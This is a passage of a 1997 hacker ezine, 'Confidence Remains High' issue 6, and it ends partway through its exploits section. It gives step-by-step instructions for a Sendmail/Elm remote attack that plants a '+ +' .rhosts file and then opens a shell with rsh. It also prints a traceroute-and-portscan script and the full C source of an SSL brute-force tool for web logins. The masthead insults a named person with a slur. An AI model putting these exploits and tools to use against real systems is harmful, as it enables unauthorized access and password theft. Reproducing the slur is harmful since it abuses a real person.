ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .o. cZo .o. Team CodeZero Presents .o. cZo .o. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ CYBERJUNKIE IS A FAT LYING GREASY CUNT - Cold-Fire ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ /IIIIIIIIII /IIIIIIIIII /III /III \ III_____/ \ III___/III \ III \ III \ III \ III \ III \ III \_III \ III onfidence \ IIIIIIII emains \ IIIIIIIIII igh \ III \ III__/III \ III__/ III \ III \ III \ III \ III \ III \ IIIIIIIIII ___ \ III \ III ___ \ III \ III ___ \_________/ /\__\ \__/ \__/ /\__\ \__/ \__/ /\__\ \/__/ \/__/ \/__/ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Issue 6 12th December 1997 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Editor : so1o Pimped falken's flea : tymat The usual : om3n, zer0x, xFli, electro, Spheroid and helix. Not forgotten : loss, organik, d-storm (aka el8) peenut, pzn, suid and manly. Special thanks to : Shok, dlc, efpee, chameleon, daxx falken, figster and cain. Windows : The carparts crew. Kick in the teeth to : TRON and stealth (aka. dev_null) .-----------[ An Official ]-----------. : .-----. .----. .--.--. : : : .--' : .-. : : : : : !_-:: : : : `-' ; : . : ::-_! :~-:: :: : :: . : :: : ::-~: : ::.`--. ::.: : ::.: : : : `-----' `--'--' `--'--' : !_-:: ::-_! :~-::-[ Confidence Remains High ]-::-~: :~-:: ::-~: `-----------[ Production ]------------' ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ We wrote this is 9 days in total, which is reasonably impressive considering the content, we hope you enjoy it, because we won't be putting out much until 1998 :) -- so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In This Bumper Sized Christmas Issue : ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ------=> Section A : Introduction And Cover Story. 1. Confidence Remains High issue 6....................: Tetsu Khan 2. Policy.............................................: so1o ------=> Section B : Exploits And Code. 1. EXCLUSIVE CRH SENDMAIL / ELM 2.4 REMOTE EXPLOIT....: figster 2. TraceProbe.sh......................................: falken 3. BruteWeb (SSL) 2.0.................................: BeastMaster V 4. Check.sh...........................................: xFli 5. Selena Sol remote flaw (unpublished)...............: Cain ------=> Section C : Phones / Scanning / Radio. 1. ShokDial...........................................: Shok 2. More MIT dialups...................................: zer0x 3. Hiding within the system...........................: efpee 4. An introduction to LightSpan 2000's................: dlc 5. An introduction to the NEC P3......................: DaXX 6. More Russian dialups...............................: Lirik 7. UK x.25 network numbers............................: Cold-Fire ------=> Section D : Miscellaneous. 1. A short introduction to IPv6.......................: so1o 2. Newbie sk00l.......................................: so1o 3. Windows NT filesharing basics......................: chameleon 4. BitchX / crackrock bug.............................: so1o / Shok 5. Nifty Lynx trick...................................: Electric Nectar 6. No-more negative...................................: so1o ------=> Section E : World News. 1. Pentagon hacked....................................: so1o -------=> Section F : Projects. 1. TOTALCON '98.......................................: so1o ------=> Section G : FIN. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ =============================================================================== ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]== =============================================================================== ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1. Confidence Remains High issue 6 : Tetsu Khan ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Welcome to a vastly new and improved Confidence Remains High, now geared to (basically) everyone we could think of, there may be some parts that some of you may dislike and think below you, as well as being some parts you actually learn something from, as always, we hope you enjoy this issue, and those to come in the future.. The distro list.. ================= www.technotronic.com /ezines/crh/ cybrids.simplenet.com /Toast/files/CRH/ ftp.linuxwarez.com /pub/crh/ ftp.sekurity.org /users/so1o/ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 2. Policy : so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ In issues 1, 2 and 3, we took our readers through some simple steps of getting some exploits, using them, and reaping the rewards, some, if not most of those exploits that we published were taken from recent posts to BugTraq (at http://www.geek-girl.com/bugtraq) and from websites such as the acclaimed www.rootshell.com, then CRH was aimed soley at those who had read 1980's BBS text files until they were blue in the face and couldn't stand another "UNIX for beginners" file, so we put out this magazine, in an attempt to take the "newbies" who wanted to learn, and give them an oppurtunity to gain up-to date knowledge about the scene and the way things work now, because those who write other magazines really don't gear their articles to those who aren't fully confident with Unix and the ideas and methodologies that are needed to understand exactly whats going on. Since then our readership levels have increased, and more and more of the people who are highly skilled (halflife for one) have made statements about Confidence Remains High being weak and lame, but thats only an opinion, but none the less, we have taken it into account, and tried our best to make this, and issues to come, geared to both newbies and the elite few who care to critisize us.. We don't want to be like Phrack, they get alot of flames themselves, the only reason we write these files is to learn, keep ourselves out of trouble, teach others, and most importantly, to have fun (and become famous, heh j/k).. If you want something a little more simple to understand, then read CRH, if you want something that is only understandable by those who wrote the articles and the few who actually know about the subjects covered, then read Phrack. If you don't understand either Phrack or CRH, then read THTJ which is a weak version of CRH, with vB programs, articles that were previously in CRH, and not forgetting, members of sIn as writers, hahahahoeowehahahahaha! Thank you for listening, so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ =============================================================================== ==[ EXPLOITS / CODE ]==========[ .SECTION B. ]============[ EXPLOITS / CODE ]== =============================================================================== ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1. EXCLUSIVE CRH SENDMAIL / ELM 2.4 REMOTE EXPLOIT : figster ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ On a variety of machines running Sendmail, Elm 2.4 will also be used, the hole regards the sun-message.csh which is called by Elm, this in turn will call uudecode which will create a file on the filesystem complete with the file permissions you previously set, then fail gracefully and not inform you that the file had been created, h0h0h0. If you use the 64-bit mime encoding, you can even save the file, look at it, and not see the evil hax0r file that was specified. So far linux and anything running the metamail decoder sun-message.csh are vulnerable.. This is basically what you do... It may not work, don't blame us : ------------------------------------------------------------------ 1) create your evil file (a .rhosts in this case)... % echo "+ +" > /tmp/eatm3 2) next uuencode your "logic bomb"... making the file /tmp/eatme % uuencode /tmp/eatm3 /bin/.rhosts > /tmp/eatme.uue 3) attach the /tmp/eatme.uue to the email to the target so the Content Type is set to "default/text" 4) send your e-mail to the target, eg. bin@target.here.com 5) then attempt to use rsh.. % rsh -l bin target.here.com csh -i If you don't get a shell from using rsh, then the in.rshd may not be running, or the exploit may have failed (most probable cause) This original technique was given to figster, then he wrote up a file, then I made the file easier to understand, it's quite rare for this to actually work, so don't think it will first time :-) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 2. TraceProbe.sh : falken ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ #!/bin/sh # # falken@rune.org presents Traceprobe version 1.4 # # basically uses strobe to portscan all the hosts from # a traceroute query, saves me alot of time, thats what it's for.. # # requires stobe in the same directory as well as # access to awk and most importantly traceroute. # /usr/sbin/traceroute $1 > $1.traceroute /bin/cat $1.traceroute | awk '{print $2}' > $1.traceroute.host strobe -i $1.traceroute.host -b $2 -e $3 # cleanup here.. /bin/rm $1.traceroute $1.traceroute.host ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 3. BruteWeb (SSL) 2.0 : BeastMaster V ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ /* * * Brute Web (SSL) 2.0, BeastMaster V. * September 1997, for Confidence Remains High magazine. * * You will probably need to download the SSL libraries from * ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/ * * To compile (one line) : * * cc -o brute_ssl -I/usr/local/ssl/include brute_ssl.c \ * -L/usr/local/ssl/lib -lssl -lcrypto * * brute_ssl to run, gives usage.. * * Disclaimer : I am not responsible for anything you do with this * tool, so please use it in a responsible manner. * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern int errno, h_errno; #define SPACELEFT(buf,ptr) (sizeof buf-((ptr)-buf)) #define newstr(s) strcpy(malloc(strlen(s)+1),s) #define HTTPD_UNAUTHORIZED 401 #define FL __FILE__,__LINE__ #define MAXDICTWORD 64 #define MAXNAMEPASSLEN 128 #define MAXENCODEDSTRING 256 #define MAXSENDSTRING 300 #define HAS_DICTIONARY 0x0001 #define HAS_USERNAME 0x0002 #define HAS_PORTNUMBER 0x0004 #define HAS_HOSTNAME 0x0008 #define HAS_VERBOSE 0x0010 #define HAS_SSL_OPT 0x0020 #define HAS_REALM 0x0040 #define HAS_DONE_IT 0x0080 #if SSLEAY_VERSION_NUMBER >= 0x0800 #define SSLEAY8 #endif char alphabet[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; char *prg_nme; int mask; struct BASE64_PARAMS { unsigned long int accum; int shift; int save_shift; }; /* BeastMaster V's error logging function */ void proc_err(char *func,char *file,int line,const char *fmt, ...) { va_list args; if (prg_nme!=NULL) fprintf(stderr,"[%s]", prg_nme); va_start(args, fmt); fprintf(stderr," %s() ",func); fprintf(stderr," : ",file,line); vfprintf(stderr, fmt, args); fputc('\n', stderr); fflush(stderr); va_end(args); } /* an implementation of signal() based on sigaction() */ void (*r_signal(int sig,void(*func)())) (int) { struct sigaction act, oact; act.sa_handler = func; sigemptyset(&act.sa_mask); act.sa_flags = 0; #ifdef SA_RESTART act.sa_flags |= SA_RESTART; #endif if (sigaction(sig, &act, &oact) < 0) return (SIG_ERR); return (oact.sa_handler); } /* function to read into a buffer over and SSL connection */ int SSL_readln(SSL *ssl_con, char *buf, int buf_size) { int i=0,done=0,w; char tmp[1]; *(buf+0)='\0'; while (!done) { if (i==(buf_size-1)) break; w=SSL_read(ssl_con,tmp,1); if (w<0) return -1; if (w==0) return 0; if (tmp[0]!=0) *(buf+i)=tmp[0]; if (*(buf+i)=='\n') done=1; i++; } *(buf+i)='\0'; return(i); } /* read from socket into a buffer until sizeof(buffer) or newline */ int socket_readln(int s,char *buf,short len) { int i=0, w; char tmp[1]; short done=0; while (!done) { if (i==len) break; w=read(s ,tmp, 1); if (w==0) return 0; if (tmp[0] != 0) { *(buf+i) = tmp[0]; } if (tmp[0]=='\n') { done = 1; } i++; } *(buf+i)='\0'; return (i); } /* base64 encode an arbitrary string */ int base64_encode(int quit,struct BASE64_PARAMS *e_p,char *string_to_encode,char *buf_64) { int index; unsigned long int value; unsigned char blivit; int z=0; index = 0; while((*(string_to_encode+z))||(e_p->shift!=0)) { if ((*(string_to_encode+z))&&(quit==0)) { blivit = *(string_to_encode +z); z++; if (*(string_to_encode+z)==0) { quit = 1; e_p->save_shift=e_p->shift; blivit=0; } } else { quit=1; e_p->save_shift=e_p->shift; blivit=0; } if ((quit==0)||(e_p->shift!= 0)) { value=(unsigned long)blivit; e_p->accum <<= 8; e_p->shift += 8; e_p->accum |= value; } while (e_p->shift >= 6) { e_p->shift -= 6; value = (e_p->accum >> e_p->shift) & 0x3Fl; blivit = alphabet[value]; *(buf_64+(index++)) = blivit; if (index >= 60) { *(buf_64+index)='\0'; index = 0; } if ( quit != 0 ) e_p->shift = 0; } } if (e_p->save_shift==2) { *(buf_64+(index++))='='; if (index>=60) { *(buf_64+index)='\0'; index=0; } *(buf_64+(index++))='='; if (index>=60 ) { *(buf_64+index)='\0'; index=0; } } else if (e_p->save_shift==4) { *(buf_64+(index++))='='; if (index>=60) { *(buf_64+index)='\0'; index=0; } } if (index!=0) *(buf_64+index)='\0'; return quit; } /* takes string to encode and a user supplied buffer as parameters */ void encode_string (char *name_pass,char *buf_64) { struct BASE64_PARAMS e_p; int quit=0; register int i; char s[MAXNAMEPASSLEN+3]; e_p.shift = 0; e_p.accum = 0; sprintf(s,"%s%c",name_pass,*(name_pass+strlen(name_pass)-1)); base64_encode(quit, &e_p, s,buf_64); return; } /* check the web server's HTTP response headers */ short check_response (char *response) { short ScanCount; int httpd_code; short version; ScanCount=sscanf(response,"HTTP/1.%d %d",&version,&httpd_code); if (ScanCount!=2) return 0; if (httpd_code==HTTPD_UNAUTHORIZED) return 0; else return 1; } /* reads a line from a file */ short read_line(FILE *fp, char *buf) { int c; short done=0; short i=0; while (!done) { c=fgetc(fp); if (c==EOF) return 0; if (c=='\n') { done=1; break; } if (c) *(buf+i)=c; i++; } *(buf+i)='\0'; return i; } void terminate (int sig) { proc_err("terminate",FL,"[%s] has caught %d (%s)", prg_nme,sig,(sig==SIGINT)?"SIGINT":"SIGSEGV"); exit(EXIT_FAILURE); } /* creates a TCP socket and connects it to a peer */ int make_socket(char *in_host,unsigned short port_num) { int sd, err; struct hostent *hp=NULL; struct sockaddr_in sa; sd=socket(AF_INET, SOCK_STREAM, 0); if (sd==-1) { proc_err("make_socket",FL,"Could not create socket->%s",strerror(errno)); exit(EXIT_FAILURE); } hp=gethostbyname(in_host); if (!hp) { if (h_errno==HOST_NOT_FOUND) proc_err("make_socket",FL,"Could not resolv [%s]->Host not Found",in_host); else proc_err("make_socket",FL,"Cound not resolv [%s]->DNS error",in_host); exit(EXIT_FAILURE); } bzero(&sa,sizeof(sa)); sa.sin_family=hp->h_addrtype; bcopy(hp->h_addr,(char *)&sa.sin_addr,hp->h_length); sa.sin_port=htons(port_num); err=connect(sd, (struct sockaddr *)&sa,sizeof(sa)); if (err==-1) { proc_err("make_socket",FL,"connect() call failed->%s",strerror(errno)); exit(EXIT_FAILURE); } return sd; } /* prints the program usage */ void print_usage() { int x; char messages[][255] = { "\n\t'%s [options]'\n\n", "Options:\n", "\t-v verbose mode (print responses to stdout)\n", "\t-z SSL flag (use this for secure servers)\n", "\t-d dictionary file (full path to dictionary file)\n", "\t-u username (a user on the target webserver)\n", "\t-h hostname (host running the webserver)\n", "\t-p portnumber (port that the webserver runs on)\n", "\t-r realm (the full path to the protected realm)\n\n", "Example:\n", "\tSay everytime I type https://www.somewhere.com/protected\n", "\tinto netscape, a box pops up and asks me to enter in a\n", "\tUser ID and password. Well, I have no idea what User ID\n", "\tor password to enter in, so I'll try to 'guess' my way in.\n", "\tI have a dictionary file in /tmp/dict.txt. Next I'll guess\n", "\ta username of \"foo\". Now I can type a command like:\n", "\n", " %s -z -d /tmp/dict.txt -u foo -h www.somewhere.com -p 443 -r /protected\n", "\n", "\tNow with any luck I'll eventually see a username and password.\n", "\ti.e: ----USERNAME=foo PASSWORD=foopass----\n\n", "\0" }; fprintf(stderr,"\n-- Brute Web (SSL) v2.0 --\n"); for(x=0; *messages[x]!='\0';x++) fprintf(stderr, messages[x], prg_nme); } /* brute_ssl */ int main (unsigned int argc,char **argv, char **envp) { int err=0, sd,in_port=0, try=0; char c, *export_buf=NULL; SSL *ssl_con=NULL; SSL_CTX *ssl_ctx=NULL; unsigned long ssl_err; FILE *dict_fd=NULL; char *dict_name=NULL,*in_host=NULL; char *user=NULL,*realm=NULL, *dict_word=NULL; char *name_pass_buf=NULL, *encoded_buf=NULL; char *p_title=NULL; if ((prg_nme=strrchr(argv[0],'/'))) ++prg_nme; else prg_nme=argv[0]; mask=0; while((c=getopt(argc,argv,"vzd:u:h:p:r:"))!=EOF) { switch(c) { case 'v': mask|=HAS_VERBOSE; break; case 'z': mask|=HAS_SSL_OPT; break; case 'd': dict_name=optarg; mask|=HAS_DICTIONARY; break; case 'u': user=optarg; mask|=HAS_USERNAME; break; case 'h': in_host=optarg; mask|=HAS_HOSTNAME; break; case 'p': in_port=atoi(optarg); if (!in_port) err++; mask|=HAS_PORTNUMBER; break; case 'r': realm=optarg; mask|=HAS_REALM; break; case '?': err++; } } if ((optind%s",strerror(errno)); exit(EXIT_FAILURE); } name_pass_buf=(char *)malloc(MAXNAMEPASSLEN); if (!name_pass_buf) { proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno)); exit(EXIT_FAILURE); } encoded_buf=(char *)malloc(MAXENCODEDSTRING); if (!encoded_buf) { proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno)); exit(EXIT_FAILURE); } export_buf=(char *)malloc(MAXSENDSTRING); if (!export_buf) { proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno)); exit(EXIT_FAILURE); } dict_fd=fopen(dict_name,"r"); if (dict_fd==NULL) { proc_err("main",FL,"Could not open dictionary file->%s",strerror(errno)); exit(EXIT_FAILURE); } if (mask & HAS_SSL_OPT) { SSLeay_add_ssl_algorithms(); SSL_load_error_strings(); ssl_ctx = SSL_CTX_new(SSLv2_client_method()); if (!ssl_ctx) { proc_err("main",FL,"Call to SSL_CTX_new return a NULL"); exit(EXIT_FAILURE); } } while (read_line(dict_fd,dict_word)) { sd=make_socket(in_host,in_port); if (mask & HAS_SSL_OPT) { ssl_con=SSL_new(ssl_ctx); if (!ssl_con) { proc_err("main",FL,"SSL_new() returned NULL."); exit(EXIT_FAILURE); } SSL_set_fd (ssl_con, sd); ssl_err=SSL_connect(ssl_con); if (ssl_err<=0) { ssl_err=ERR_get_error(); proc_err("main",FL,"SSL_connect() failed->%s\n", ERR_error_string(ssl_err,export_buf)); exit(EXIT_FAILURE); } } sprintf(name_pass_buf,"%s:%s",user,dict_word); encode_string(name_pass_buf,encoded_buf); sprintf(export_buf,"GET %s HTTP/1.0\nAuthorization: Basic %s\n\n",realm, encoded_buf); try++; if (mask & HAS_SSL_OPT) { SSL_write(ssl_con,export_buf,strlen(export_buf)); SSL_readln(ssl_con,export_buf,MAXSENDSTRING-1); if (mask & HAS_VERBOSE) fprintf(stdout,"\n==[Pass # %d]============\n%s",try, export_buf); } else { write(sd,export_buf,strlen(export_buf)); socket_readln(sd,export_buf,MAXSENDSTRING-1); if (mask & HAS_VERBOSE) fprintf(stdout,"\n==[Pass # %d]============\n%s",try, export_buf); } if (check_response(export_buf)) { mask |=HAS_DONE_IT; break; } if (mask & HAS_VERBOSE) { if (mask & HAS_SSL_OPT) { while(SSL_readln(ssl_con,export_buf,MAXSENDSTRING-1)) fprintf(stdout,"%s",export_buf); } else { while(socket_readln(sd,export_buf,MAXSENDSTRING-1)) fprintf(stdout,"%s",export_buf); } } close(sd); if (mask & HAS_SSL_OPT) SSL_free(ssl_con); } if (mask & HAS_DONE_IT) fprintf(stdout,"\n\n\t----USERNAME=%s PASSWORD=%s----\n\n",user,dict_word); else fprintf(stdout,"\n\n\t----Sorry, but I could not get in.----\n"); free(dict_word); free(name_pass_buf); free(export_buf); if (mask & HAS_SSL_OPT) SSL_CTX_free(ssl_ctx); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 4. Check.sh : xFli ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ